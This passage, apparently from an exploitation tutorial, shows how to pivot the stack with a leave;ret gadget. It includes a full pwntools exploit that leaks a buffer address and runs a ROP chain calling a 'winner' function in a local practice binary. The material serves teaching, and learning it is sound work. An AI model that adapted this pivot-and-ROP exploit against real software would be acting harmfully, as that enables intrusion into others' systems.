Essentially, that pops buffer into RSP (as described previously).
Full Payload
You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a pop instruction that needs to be accounted for - again, remember leave is
mov rsp, rbp
pop rbp
So once you overwrite RSP, you still need to give a value for the pop rbp.
payload =flat(0x0, # account for final "pop rbp" POP_RDI,0xdeadbeef, POP_RSI_R15,0xdeadc0de,0x0, # r15 elf.sym['winner'])payload = payload.ljust(96, b'A')# pad to 96 (just get to RBP)payload +=flat( buffer, LEAVE_RET)
Final Exploit
from pwn import*elf = context.binary =ELF('./vuln')p =process()p.recvuntil('to: ')buffer =int(p.recvline(), 16)log.success(f'Buffer: {hex(buffer)}')LEAVE_RET =0x40117cPOP_RDI =0x40122bPOP_RSI_R15 =0x401229payload =flat(0x0, # rbp POP_RDI,0xdeadbeef, POP_RSI_R15,0xdeadc0de,0x0, elf.sym['winner'])payload = payload.ljust(96, b'A')# pad to 96 (just get to RBP)payload +=flat( buffer, LEAVE_RET)pause()p.sendline(payload)print(p.recvline())